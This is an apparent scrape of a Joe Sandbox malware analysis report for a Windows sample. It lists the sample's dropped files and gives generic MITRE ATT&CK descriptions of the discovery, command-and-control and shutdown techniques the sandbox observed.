Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\EShineEncoder\EShineEncoder.exe

C:\ProgramData\EShineEncoder\sqlite3.dll

C:\ProgramData\es1115it43.dat

C:\ProgramData\es1115rc43.dat

C:\ProgramData\es1115resa.dat

C:\ProgramData\es1115resb.dat

C:\Users\user\AppData\Local\AlterGame 1.13\AlterGame.chm (copy)

C:\Users\user\AppData\Local\AlterGame 1.13\LTDIS13n.dll (copy)

C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe

C:\Users\user\AppData\Local\AlterGame 1.13\bjpeg23.dll (copy)

C:\Users\user\AppData\Local\AlterGame 1.13\gdiplus.dll (copy)

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre